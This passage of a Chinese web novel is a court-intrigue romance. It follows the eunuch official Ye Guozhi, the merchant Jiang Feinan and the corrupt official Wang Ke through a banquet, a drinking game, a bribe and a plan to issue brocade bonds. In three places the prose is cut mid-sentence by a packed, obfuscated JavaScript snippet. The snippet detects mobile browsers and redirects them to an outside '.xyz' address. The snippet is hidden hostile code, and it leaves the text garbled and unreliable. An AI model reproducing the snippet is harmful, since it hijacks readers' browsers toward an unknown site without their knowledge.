姜斐囡的倒戈无疑是个变数。谈过话的小娘子尚且算老实，说让一一汇报，还真将叶国枝饮食起居事无巨细报了上来。 王珂以为，这份老实能维持多久，得依仗孙房山能收多久的杂心。 眼下局势最要紧的是摸清叶国枝的态度，以及他对姜斐囡痴迷程度。就是想杀他们，也得精挑细选个好机缘。 酒过三巡大家伙已吃了个七成饱，店家撤了残羹冷炙摆上小几烫好茶水。不知打哪钻出个妙龄女子合掌而击，不起眼的帷幕后各色娉婷美人鱼贯而出，自然的在官人身侧配对落座。 叶国枝差点被一口茶水呛住，没料到姜斐囡所谓操办里竟还有这出。 “大人——” “咱家就不必了。”叶国枝音色低柔比之女子更加娇媚，直叫人自愧不如。 美人听声明白这是个没把的，冒着冷汗自讨没趣挤去旁处侍奉。 “叶大人还怕姜掌柜知道不成？” 身侧冯唐借着打趣口吻试探。 “咱家不习惯，”叶国枝抽了帕子掩住口鼻，蹙眉嫌弃道：“身上染了旁的味儿，夜里不好睡。” 这话能有两层意思，好事者却想当然理解为姜斐囡好妒。 王珂在座上悠悠开口道：“出来玩寻个开心，弟兄们又不会告密。” 叶国枝假意往孙房山身上瞟一眼，低眉垂目道： “囡囡已是世间顶顶好的女子，叶某不作他想。” 叶国枝是懂如何气人的。 望着叶国枝不知是喝酒上脸还是羞红的面庞，王珂活像是被人猝不及防噎了口蜜浆，吐也不好吐咽下去又嫌齁。 短短几日竟能将叶国枝俘获至此，姜斐囡果真是个天赋异禀的。王珂不由五味杂陈，一面舒心于事态尚在把控，一面不甘心自己将如此神器拱手相让。 “叶大人可真是孙兄的好贤婿！” 王珂言语微酸，直叫猝不及防被点名的孙房山如芒在背： “孙兄啊，既然你家囡囡和少勋唤我声干爹，咱俩要珍惜这份缘。” 王珂站起身来，端着酒杯朝向叶国枝： “阴差阳错与叶大人结识，干了这杯酒往后咱们就是一家人。” “啊？对对对，一家人、一家人。” 孙房山忙起身为王珂助势。 叶国枝哪里会看不懂他们这又是唱的哪出大戏。王珂明里暗里点自己干爹身份，不过是想拿姜斐囡攀关系，又不敢真来当他爹占这个便宜。含含糊糊生生硬创出个一家人，着实令人发笑。 叶国枝体贴姜斐囡周旋不易不置可否，只是难得豪放将杯中酒饮空，又低笑两声应和： “一家人。” “叶大人啊，”王珂贼嘻嘻笑着：“既然是一家人，往后可不能再为难下官唷。” ------ 跛腿小厮候在厢房门口，听着里屋动静不由攥紧拳去。 忽而身后熟悉的魔音摧耳： “呀！这可不是我的好同窗？” 孙少勋尚不够格参加夜宴的勾兑，便被孙房山派在外头守岗。原本他正无聊着，不想还有意外收获。 小厮反身欲跑，恨被跛腿牵累，叫孙少勋一把抓住脖颈：“头七守完怎么不见你回书院？先生天天念叨好生想你呢。” 头七。书院。先生。 遥远的词汇将他愤怒激起，母亲惨死的光景恍若昨日：那日雨天路滑他不放心母亲偷偷跟在身后，只瞧见火光冲天母亲倒在血泊中，真凶的面容历历在目——恰是背后这畜牲！ “杀脱乃个宗桑（畜牲）！①” 福嫂幺儿凭着蛮劲挣脱孙少勋，拼了老命往他身上扑去。只可惜孙少勋自幼练家子，幺儿只一身干农活的牛劲，几个躲闪间就被孙少勋撂趴在地。 孙少勋还想再补几脚，却是被里屋人点了名。 幺儿趴在地上疼得只剩出气，孙少勋回过头蔑笑着将其从甲板一脚踹入河道。 “赵三，”他冷眸呢喃着：“这下总该死了吧。” ------ “怎得这般慢？” 孙房山站在厢房门口抱怨着孙少勋磨蹭。 “河边丢垃圾耽搁会儿。”此时孙少勋已然换上了恭俭的面孔，他脚边落了口箱子，恰是孙房山催心的源头。 孙房山没功夫纠缠细节，使唤着孙少勋将箱子抬进去。 里屋正玩着飞花令，这是一种文人雅士间的行酒令。照座次顺序轮换，每人说一句带花的诗句。 叶国枝不近女色在席间分外扎眼，王珂自觉没趣将美人都打发了去，又唤来店家备些助酒雅物——投壶、骰子、牙牌，这些他都嫌俗气，挑来挑去还是挑了士大夫最为熟悉的飞花行酒。 叶国枝本想推脱围观，只因着先头已经扫过兴，拗不过已经喝上头的酒鬼们，情不可却的凑了个人头。 孙少勋平日在书院没少玩飞花令，还是头次见宦官加入。宦官们多是贫家出身，内廷侍奉也不需要什么文化，甚少参与这种自爆其短的活动。 他稀奇叶国枝能玩出什么名堂，便寻个由头赖了张桌子坐下。 王珂是天端四十二年的进士，带的狐朋狗友也多是有功名在身的书生，佳句典故自然信手拈来。就连孙房山也曾是中过秀才的，吟诗作对不在话下。 轮到叶国枝手里，在场只有他没受过科考悬梁刺股之痛就封了官，所有眼睛都探着好奇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051092|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只见叶国枝朱唇轻启： “一二三四花六七。” 众人面面相觑，无奈望向王珂。 照飞花令的规矩，花的位置需与自己顺次对应——叶国枝规矩是讲了，却算不得诗句。若要判他对，多少有些昧了良心。可要判他错，又没人有那胆子。 叶国枝虽不善诗词也不落人面子，照着飞花令的规矩端起酒杯自罚一杯： “叶某献丑。” 他倒是想的通透：所谓飞花令，说错的喝一杯，说的好自赏一杯。说破天也不过是借诗添酒的套路。 空气只剩淡淡的尴尬。好在排后面的狗腿子机灵，念出自己备好的诗句，才堪堪跳过这场危机。 又是一轮游毕，次序转到叶国枝手里，他笑吟吟接道： “七六五四花二一。” 言毕叶国枝再自罚一杯。 文人意气忽然上身，王珂这场可不依着他胡搞：“叶大人是不稀得跟我们一道玩？” 叶国枝无赖摊手：“咱家确实不识几个大字。” 两场轮过，在座诸位也差不多摸清叶国枝是个什么段位。惊异于这位叶大人的坦荡无耻，左右旁座不由暗自讥笑。 太监还是那个太监，泼皮无赖胸无点墨。凭着舌灿莲花媚上惑主的功夫平步青云。 众人思及就是这等货色截了王大人的胡。 纵是平日风评不好的王珂，也不由叫人同情三分。 瞧着叶国枝贻笑大方竟不知羞臊，王珂累日的无名火即将爆发，却是被师爷冯唐借着醒酒掺走。 王珂喝酒上了脸，大着舌头在甲板嘟囔： “他怎能…”能如此粗鄙不堪！ 夜风叫他脑袋冷静了三分，没把后面的话讲出来。是了，他在对一个阉人期待什么呢？瞧那阉狗一副野人样，别说是粗通文墨沐浴王化，能写出自己名字都算他勤勉好学！ 要知道内廷也是有内书堂这种地方教内臣读书的，叶国枝胸无点墨不学无术，究竟是如何被选中提督审计监的？ 难道代表天子威仪的便是这种货色吗？ 王珂满腔愤慨，终是说出那句不吐不快的心里话：“审计监也没什么大不了的。” 若是从内书堂选拔出来的，他也就认了！ 连内书堂都进不去文盲，此生基本与司礼监无缘，凭什么骑在他们头上作威作福？不过是个草包，他们这些天如蛇似鼠究竟都在畏怕些什么？ “嘘！我的祖宗爷！”冯唐赶忙捂住王珂口无遮拦的嘴。王珂想骂叶国枝，骂了也就骂了。审计监可是皇上御笔亲批，又是如何说得的存在？ 他忙提醒着王珂：“别忘了咱们目的。” 宴请叶国枝是试探他态度来的，可不是奔着细枝末节的小怨撕破脸皮去的。 “知道了知道了。” 王珂不耐烦的挥开冯唐，满脑子却是另一件事——审计监也不过如此。他本家的王大爷，查无可查最后还不得给人放了。 时无英雄使小人得志，大丈夫当是能屈能伸。王珂边臆想眼中不由精光毕露，他阴恻恻笑起： 当下纡尊降贵不过权宜之计，到了都是要弄死的。 王珂二人折返时，不知是谁突然喊了句：“看烟花！”。王珂便糊糊涂涂在一干人等簇拥下，顺着人潮又朝船头涌去。 待所有人都挤在甲板看烟花，叶国枝百无聊赖拾了地上投壶未收起的箭羽。 微咻一声，箭羽悄无声息精准落入壶中。 角落里某人眸光偏转，恰将一切尽收眼底。 11. 热毒 烟花燃尽的时候，鸢飞登了船。 大老爷们推杯换盏好不热闹，小姑娘被夹在声色犬马中，憋红着脸欲言又止。 孙房山只当她是姜斐囡派来付账的，轻撇一眼便不以为意。唯有叶国枝注意到她的隐情，领了人去角落小声询问： “可是你家小姐的事？” “姑爷，”鸢飞别别扭扭喊出那两字，却是姜斐囡特意叮嘱她的：“我家小姐说夜深雾浓，晚来路上不好走。姑爷也到了该回家歇息的时候。” 鸢飞声音本就不大，姜斐囡叫她带这条羞人口信，本就不大的话声不由得越说越小。 一条小小的口信，却将那厢灯红酒绿衬得黯然失色。 在场都是成过亲的男子，多年飘荡在外四处游戏，家中老妻早早在累日等待中磋磨了催人回家的兴致。如今酒局上突然冒出个催回家的，居然还是个太监的姘头。 热辣的杯中物突然苦涩至极，花天酒地的喧哗霎时寂若无人。 王珂率先发话：“大人们正在兴头上，小小丫鬟掺合什么？” 王珂言语不满，看似在骂鸢飞没大没小，实则酸人酸语直指姜斐囡不识大体。 叶国枝不动声色将鸢飞挡在身后，阻隔了旁人探究的视线。鸢飞是来替姜斐囡递话的，代表的就是姜斐囡的脸面。他自然不会叫她被人小觑了去。 “王大人，夜深人乏。”叶国枝拱手作揖，浅笑吟吟： “叶某就此别过。” 再稀疏不过的话语，却叫座上诸君心生波澜。他们流连花丛多年，家里往酒局递话时向来置之不理，更有甚者干脆就着酒家铺盖凑合，经年累月不回家也是常有的事。叶国枝倒成了那个出乎意料的异类。 王珂可不信什么人间自有真情在的胡话，拢共才认识几天就处成老夫老妻了？他倒更信姜斐囡手段了得人尽可夫，恰撞上叶国枝格格不入的窘迫，给他拿住机会就坡下驴罢了。 “叶大人是该多花功夫陪陪姜掌柜。”王珂捏着假笑惺惺作态。 都说伸手不打笑脸人，叶国枝冠冕堂皇的理由体面到叫人无可置喙。他吃准了王珂要维护脸皮，自是无意缠战的。 叶国枝领着鸢飞欲先行一步，却是被孙房山的叫喊拖住脚步。 “叶大人留步。” 孙房山作为姜斐囡生父，叶国枝明面上自是不能给人留话柄言说。他转身静待，只见孙少勋抱起一口箱子。 “叶大人与小女天赐良缘情投意合，咱们娘家人看着也高兴。” 孙房山说罢望向王珂，王珂隔着人群赞赏的朝他颔首示意：“这是王大人同草民一番心意，还望叶大人笑纳。” 孙少勋闻言适时将箱子开条小缝，内里黄白之物玉器珠宝璀璨生光，只扫一眼便可知他们是何居心。倘若叶国枝未猜错，这里恰是前些时候荣宝斋账上被划走那批库存。 这么多双眼睛盯着，王珂这是要他来纳投名状的。 叶国枝却是不怵他们这些小九九，再是理所应当不过使唤着鸢飞： “鸢飞，替你家小姐收着。” —————— 审计监来时有自己的车马。鸢飞嫌恶叶国枝贪婪，竟收了王珂孙房山的贿赂。奈何自家小姐下了死令要她把叶国枝带回，鸢飞厌厌上了姜家的马车，只叫车夫远远跟着审计监权当交了差。 夜里行车慢，半道审计监的人隔着门帘敲了鸢飞的车： “鸢飞姑娘，我家大人路途还有一去处。还请姑娘跟紧。” 鸢飞不知叶国枝葫芦里卖的什么药，也懒得过问他那些弯弯绕绕。她只不咸不淡回了句知道，嘱咐车夫跟紧前面。 停车时她才知道这是家客栈。 掌柜的一边系外衣一边迎出来接客，显然是被什么人临时从床上捞来顶着的。 不算光亮的大堂里热乎乎的馄炖摆在桌上，叶国枝却是不知所踪。 “鸢飞姑娘垫些肚子稍等，我家大人还在更衣。” 拎着佩刀的侍卫彬彬有礼，她却闻到股雾气混杂着铁腥的肃杀味。就着铁腥，鸢飞静默的咽下馄饨。 叶国枝出来时换了身青瓷素袍，薰过薄荷兰香的衣裳淡雅芬芳，连带着酒气都压下些。 不男不女的娘娘腔还怪有品。都说吃人嘴软，鸢飞吸溜着馄饨，抨击的心声都柔和许多。 “府上就能更衣，叶大人又何苦在外折腾。”鸢飞不由发问。 叶国枝摇头：“外头应酬过，哪能就这么脏兮兮的回去。” 鸢飞常年跟着姜斐囡在外见市面，烂醉如泥还愿意归家的都算邻里口中的好男儿，碰上叶国枝这款拾掇好自己才敢回家的异类不免惊奇： “大人也不嫌麻烦。” 换作他们府上那位孙老爷，怕不是要喝个酩酊大醉才罢休，后半宿回来将仆从们折腾一通就都不必睡了。 “都是御前侍奉的习惯，捎带手的事。” 他们这种挨过刀的人，身体多少落着病根。酒水多饮后容易憋不住，又不能薰着皇帝，频繁更衣焚香属于近侍的基本礼节——只是这话过于阴私，却是不宜同鸢飞这个小姑娘讲的。 “你家小姐出门前嘱咐我少喝酒。”他挑了能讲明的话端，尽量用鸢飞能听懂的方式解释：“我总不能叫她瞧我这副狼狈样。” 叶国枝心中泛起酸楚： “纵是她不嫌弃，我自己也觉着邋遢。” 鸢飞承认她对叶国枝有偏见。坊间都说他们宦官没了半边身子，情事不足便磋爱磨身边女子。她多怕小姐错付真心，再遇上个表里不一人面兽心的孙房山。 鸢飞恶着胆故意刺探他：“叶大人这意思，是说我家小姐比皇上还难伺候？” “可不敢妄议圣上。”叶国枝比鸢飞更为警醒，一记眼刀杀过叫她有种似曾相识的威压感，瑟缩着脖也晓得自己说错话。 鸢飞却是贼心不死又试探道：“在叶大人心中，我家小姐是怎样的存在？” “耀乎日初照屋脊，皎若明月舒其光。”① 他很狡猾，没有直面鸢飞的问题。 鸢飞虽能识文断字也仅限于账本，并不知晓叶国枝引的是哪里的典故。 “那是什么？”她问。 “是云梦泽的神女。”他回道。 鸢飞垂头思索片刻，微恼的看向叶国枝：“今天这些话，叶大人是故意说予我听的。” “鸢飞姑娘冰雪聪明玲珑心肠，还望平日为叶某多多美言几句。” 叶国枝讲话云里雾里半虚半实，直叫人辨不出真意。 呸！鸢飞暗唾。她早该猜到姓叶这玩意没安好心。 温良体贴做戏更衣，全是演她的套路。当着她的面夸她家小姐是仙女，不就是想让她把话带给小姐？ “你们这些男子天性伪善，未得手时甜言蜜语如珠似宝，得到手便色衰爱弛弃之如敝履。” 太监割了一刀心里头到底是个男人，别以为她不知道他打的什么算盘。色老头王珂自不用说，可他叶国枝又算什么良配？ “人装一时，可装不了一世。”叶国枝平淡无奇讲述着自己的道理：“倘若我能装千千万万次千千万万日，鸢飞姑娘可愿相信叶某一片诚意？” “那便等你装到千千万万次千千万万日，我自当为你向小姐美言！” 鸢飞是个嘴快的，她不信当世真有男儿能做到千千万万日恩爱如初。 “一言为定。” 叶国枝笑了。 他的笑赤诚又坦荡，叫鸢飞慌了心神。仿佛下个刹那这人真能把小姐夺去。 鸢飞匆匆起身，忙找台阶欲把前言收回： “我只是个奴婢，说了又不作数。叶大人同我在这较个什么劲。” 叶国枝望着她定定道： “你是整个姜家，唯一真心为囡囡筹谋的人。” —————— 归家的路有明月照拂，心情都是疏朗的。 叶国枝虚浮着脚步回到自己的小筑，晚宴上咽下的辛酒逐渐显劲，舌头开始些微发麻。若不是旁边有侍卫照看，怕不是路上得挨几个跟头。 姜斐囡已经在此等候多时。 还是那方池塘。姜斐囡倚坐在高高的湖石上，妃色纱裙随风微动。她百无聊赖捧了本《道德经》，就着月光打发时间。 叶国枝抬头仰望那片月色：呼啦啦响佩玲玎缤纷，飘摇摇衣袂孑然将倾。她是孤悬于天地星河间的银盘，不染凡尘几欲飞升—— 叶国枝瞳仁猛然紧缩。 「姜斐囡被我撒在那，你去捞罢！」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051093|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 狂言颠语钻入脑海目眦欲裂，烈酒将幻境与现实作用交融，他伸出臂欲捧住那弯摇摇欲坠的月亮。问天乞爱的痴儿，隐晦带了哭声： “囡囡，别走。” —————— 叶国枝在发烫。 他隐约失了记忆，不记得自己曾经是如何将她揽在怀中，不记得自己又是如何形单影只独回空房，唯一真实的只有身上切肤入骨的热痛。 将入宫那会他就是这样。喝下的酒初时不显，随时辰叫热毒游走全身，最终将他攻得昏死过去。年少时他从不珍惜自己烂命一条，只畏怕在深宫中显露胆怯遭人踩踏，往往以纵情豪饮来者不拒的面貌示人。 就是这般熬过许多昏天黑地的年岁，直到姜斐囡的出现才彻底终结了他的自我作践。 “是吗...他是这样说的...” 迷迷瞪瞪中，他隐约听见姜斐囡的谈话。 又是在做梦。叶国枝就着头下绵软习以为常翻了个身。 “醒了？”姜斐囡拍拍他的脸：“喝得可真多。” 叶国枝睁眼数着姜斐囡的睫毛许久，才意识到自己正膝枕在她的腿上。木然的脑袋不由发出感慨： 果然还是夜里的梦比白日质量好。 梦是不需要缘由的，他大着胆子牵起姜斐囡的手： “囡囡，别走。” “我在。” 宦官因着特殊残缺，往往敏感多疑惧怕遗弃。这点在叶国枝身上尤为明显，姜斐囡过往总是不厌其烦向他倾诉爱意。一双柔荑反握住他，轻易便取得了小动物的信任，甚至往她怀里拱了拱。 若是照着叶国枝既往进度，怕是难有当下的亲昵，没准还要在她耳边叨几句授受不亲。姜斐囡心下惊喜，只当他是喝醉了。 姜斐囡已有多年未见他醉酒憨态。前世王珂设宴时她与叶国枝萍水相逢，自然不会叫鸢飞去接他。再后来叶国枝自觉收敛，定情后她只为酒气皱过一次眉头，他直接断了多年的豪饮。 细细想来，能捉他一次醉酒失态属实不易。 叶国枝听不见姜斐囡百转千回的心声。 他只是呆呆抬头仰望，青瓷般的郎君面色绯红媚眼含星，一颦一蹙皆是罪过，无不是在怂恿她更进一步。 乘人之危多少有些下作，姜斐囡眸色晦暗。 可不巧她姜斐囡正是个下作俗人。 “烟花好看吗？”姜斐囡嘴上提着一茬，手头却是心猿意马拨散他的发冠，肆意将手指梳入他的发间。 “甲板上好多人，就是听了个响。” 叶国枝任由自己被摆弄，童真的眸将她无条件信仰。 四十两雪花银的烟花就得他一句响，姜斐囡人也不恼。她记得他爱喜庆好热闹，凑近他耳畔悄悄道： “往后咱们自己放，不带他们。” 往后。往后。叶国枝咂摸着揪心的词语，默想着原来他们还能有往后。 “我又做梦梦到你。”他无奈叹息着。 “哦？”姜斐囡颇为意外。前世他俩懵懵懂懂厮混了小半辈子，她尚且不知叶国枝何时对她情根深种。 瞧见他醉酒老实，她不免生了调戏的心思： “莫非小叶大人经常梦见我？” “五十二次。” 他支起小半边身子，孩子气的朝她侧颜嬉笑。 姜斐囡有些吃惊。她没有遗忘面前的男子今生相遇不过半月，怎得就情根深种了去？ 可她又不得不相信，稳坐审计监头把交椅的小叶大人从未有把数字搞错的时候。 “小叶大人一定是很想我很想我喽？” 姜斐囡调笑着低下身逗弄他：“为什么都不同我讲？” “很想、非常想。”热毒的余威又开始游走，叶国枝痛苦的蜷起身。烈酒上头叫他口干舌燥头痛欲裂，一时竟分不清是伤身更痛还是伤心更痛： “拼了命的想。” 他淋漓着汗水咬牙倾吐出心声。 料想他是老毛病又犯了，姜斐囡忙将人送入床榻躺平。 “睡吧。” 湿漉小狗眷眷扯住她的衣角，姜斐囡轻抚着他的背陪伴入眠： “剩下的交给我。” 往后日头还长，她并不急于一时。 12. 锦债 布坊重建收尾，到了该总和账目的时候。 大火将半数库房损毁，女工们日熬夜熬加班加点也不过是杯水车薪。愿意缓期延收的商人寥寥无几，姜斐囡只能陪着不是把余单全散给了同行。 不提姜氏布坊此番折损的商誉，光是赔付违约的烂账就够她们喝上几壶。 鸢飞熬了几个通宵才把损失厘清，带着热乎的账本站在姜斐囡面前有苦难言。 “账上的钱还够撑几时？”姜斐囡问她。 “城南的钱掌柜还欠着我们款子，若是这两日能收回，布坊尚能再撑三月。若是收不回来......”鸢飞艰难吞吐着：“咱们怕是难熬过下个月中。” “钱掌柜的款不必惦记。”姜斐囡听着鸢飞的天真设想连连摇头：“现在外边都在隔岸观火，他就是拖也会拖到下月再来讨价还价。” 商场如战场，这种时候万不能指望同行的良心。 姜氏布坊东山再起的速度过于迅猛，已是叫许多同行夜不能寐。倘若现在姜家倒下，同肆同贾尽可饿虎扑食分夺商利，布匹掮客也能浑水摸鱼将陈帐勾销。 人性如此，换作是她也会抓住机遇赶尽杀绝。 “那...现下咱们怎么办？”鸢飞如无头苍蝇般丢了谱。 内有奸细外有豺狼，和两年前的光景何其相似。姜斐囡蹙着眉头叹息。同时也宣告了她们两年的辛劳近乎白干。 此时此刻，恰如彼时彼刻。 姜斐囡思绪片刻拿定主意： “再发一次锦债。” 所谓锦债，是布坊一贫如洗时候的下策。 当年孙房山心腹卷款遁逃，只留下不易携带的布帛积货和织机缫车，以及带不走的女工们。 该说不说，姜斐囡还得感激那土鳖有眼无珠。姜氏布坊虽为内斗拖累，江河日下尚能专利一方，靠的是祖传的异色锦织术。 一匹云锦双面彩，逐花异色各不相同。 姜斐囡虽对织物一窍不通，却对食货颇有心得。 大凤官府多以本色实物课税，江南地域尤以丝绢输供为常。官家既许布帛充抵税课，绫罗锦缎虽非正项，市井通贩亦能权行钱钞之职。 恰逢异色织锦技巧繁杂难有作假，姜斐囡索性就地取材裂锦为债立券定约，终以折价五成赊卖回款，堪堪有惊无险保住布坊。 前番布坊割肉自救肥了不少市猾囤户，再开锦债可谓众望所归。姜斐囡还没放出风声，王珂就一屁股坐在了她家堂上。 “此番劳王大人大驾，是有要事相商。” 姜斐囡恭敬奉上茶水。 “好说、好说。”王珂知道自己是来占便宜的，脸上横肉都笑逐颜开：“都是一家人，干女儿尽管开口。” “大人也该听说了，布坊大火损失惨重。如今为维护生计，小女只能忍痛重开锦债。” 姜斐囡说着，王珂听得直流口水。 “可是那锦债——” “如何？”王珂伸长了脖子迫不及待问她。 “那锦债着实凶险。”姜斐囡垂头柔声细语：“大人也知道，外头眼红布坊的数不胜数。锦债一旦发出去，便由不得咱们心意，难免有人想乘乱捣鬼。介时还要请王大人替小女做做主。” 王珂知道姜斐囡担忧的是有债主集合锦债逼宫布坊让权。这事之前就发生过一次，好在最后有惊无险叫她过了关。 姜斐囡此番未雨绸缪，就是防着事态混乱被人一口吞了去。有王珂这个官家坐镇，商户的腰杆子也能硬气些。 “贤侄女不怕。朝廷公义在此，谁敢造次？”王珂义正严词的说着，手上却是耐不住寂寞不停比划着数钞姿势：“只是——” 姜斐囡浸淫商海许久是个上道的，只见她忙不迭递上一沓异色锦制成的债条： “大人为富土鞠躬尽瘁我等深感涕零，小小心意难言敬重。” 所有锦债最终都能兑成姜家的布匹，姜斐囡献给王珂的自然是最高档的兑票。这债条不光是能兑，着急拿去黑市置换也能称得上价位，有价无市的时候甚至可以炒过锦缎定值。 王珂先头拿到兑票喜笑颜开，往手里颠了颠又迅速垮下脸去。 “贤侄女，办你这事可不容易。” “啊？”姜斐囡没料到王珂竟能如此贪婪，却也明白有求于人的时候该当如何表示： “依大人的意思——” “弱女子苦苦相撑属实不易，本官也不多要你的，给我多添两成即可。”王珂张口就是咬下她们一块血肉。 鸢飞听懂了他的盘算。先期姜斐囡为拿回账本划了五成的利给王珂，正是以锦债交付。而今加上他狮子大开口又要布坊两成的利，拢共就是七成。 鸢飞在旁倒抽一口冷气： “只给我们留三成？” 剩下这三成里不光要发债筹款，还要负责采买生丝结算工钱。 王珂睐了眼鸢飞，不屑问向姜斐囡： “可是叫贤侄女难做了？” “没有的事。”姜斐囡不动声色应和着。 “真要是难做，本官亦能理解。”王珂故意装腔拿调：“你们也要图生存。奈何老夫位卑职末难有助力，还望另请高明。” “鸢飞，还不快给大人赔礼。”姜斐囡当机立断摁了鸢飞跪下。 姜斐囡自己也伏下身，半蹲起仰望王珂： “侍奉大人，我们从未想过牟利。” “更何况锦债赚钱，从不是在发债上赚。” 发行锦债只能解燃眉之急，真正带领布坊爬出泥潭的，是女工们苦心钻研的金丝提花织术。 “布坊的三色异锦即将问世。介时叫叶大人送咱们的锦到京里亮亮相，又何愁手里的锦债不水涨船高？” 鸢飞听着自家小姐满嘴胡话，震惊到瞳仁颤抖：她怎的不知道自家有了三色异锦的能耐？ 王珂是个猴急的，听着消息蠢蠢欲动连连问道： “他肯吗？” “我会说动他。” “给他上下嘴皮一碰拿走七成，咱们还怎么活？” 离了厅堂许久鸢飞才敢放声痛骂。 “该怎么活就怎么活，船到桥头自然直。” 姜斐囡倒是面色如常。既然决意求到王珂头上，她自然心有定见。 “什么死死活活的，搁这儿为银子发愁呢？” 不知何时孙少勋凑了过来。 只见他双手环臂懒散倚在门框上，偷听的光明正大。 “你来做什么？”鸢飞警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051094|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉的迈出半步把姜斐囡护在身后。 “我来做什么？这里是我家，我哪里去不得？”孙少勋蔑笑着挑眉：“小小个丫鬟，竟敢质问主子。我看你是好日子过惯了，欠人家掌嘴。” “你——” 姜斐囡怕鸢飞祸从口出，不动声色将人拉回自己身旁掩住。 “你来做什么。”姜斐囡审慎的目光落在他身上。 “听闻阿姐缺钱，我来给阿姐送钱啊。”孙少勋面对姜斐囡立马换了副面孔，顶着张嬉皮笑脸好不阳光。 鸢飞这才想起孙少勋名下还挂着一处养蚕的场地。 那丝厂本也是布坊的产业，半年前被孙房山擅作主张划给了宝贝独子，如今家里买生丝都得从孙少勋手里买。 鸢飞拍着脑袋直呼自己愚笨。布坊虽然烧了，丝厂建在荒郊野岭却未受波及。往日给他们发的钱就当是存着的，也是时候拿出来共克时艰了。 更何况那本来就是布坊的钱！ 鸢飞偷摸扯了姜斐囡衣角暗示她详谈，却被姜斐囡拂开了去。 “不需要。”姜斐囡淡淡道。 孙少勋志得意满的笑凝固在嘴角。 他没料到这种火烧眉毛的时候，姜斐囡竟还有志气对他挑挑拣拣： “阿姐你是知道的，我和王珂他们不同。他王珂是个什么废物，只会把阿姐的才华消磨殆尽。我可是打心眼仰慕阿姐，尤其是阿姐那笔漂亮锦债——” “啧啧，耍他们耍的出神入化。” “我深以为，咱们这种打断骨头连着经的血脉，就应当互相扶持把布坊做大做强才是。” 孙少勋一番假话说的情真意切，姜斐囡却懒得听他再讲一遍叫耳朵起茧的废话。 他想做大做强的当真是布坊吗？ 姜斐囡意味深长的笑了： “听闻你近期在同宁王的人厮混？” 宁王是太祖皇帝开国十二亲王中的一支，原属藩地大宁因从龙有功改封泸州，传到鹏程年已是第六代。近些日子宁王党羽扩张，隐隐有从泸州把手伸进江南来的势头，书院便是他们笼络英才的重要营地。 姜斐囡言击七寸，孙少勋的脸咻一下拉长。 “死跛子来找你告了什么状？”他阴沉沉问道。 “你那些破事在书院传的沸沸扬扬，还用得着人告状？” 姜斐囡也不过是在诈他。 孙少勋对王珂的蔑视贯彻始终，却叫人不免生疑他目空一切的本钱从何而来。 前世王珂案结案后，她远离富土十余年，直到再度踏上故土才隐晦得知了孙少勋背后的关系，算算时机也差不多是这段日子牵上的线。 竟是被她给诈了出来。 也难怪这小子敢狂狷到连王珂都不放在眼里。 听见姜斐囡不是从赵三处得的消息，孙少勋莫名缓和了情绪，嘴角挂不住的上扬： “比起你那个男宠，阿姐是该多关注我些。” “我何时不关注你？”姜斐囡反唇相讥： “我可是日思夜想都盼着你暴毙。” 孙少勋闻言也不恼，他恰恰吃的就是姜斐囡这个调调。 只见他欢欣鼓舞道： “那我可等着，阿姐来取我的狗命。”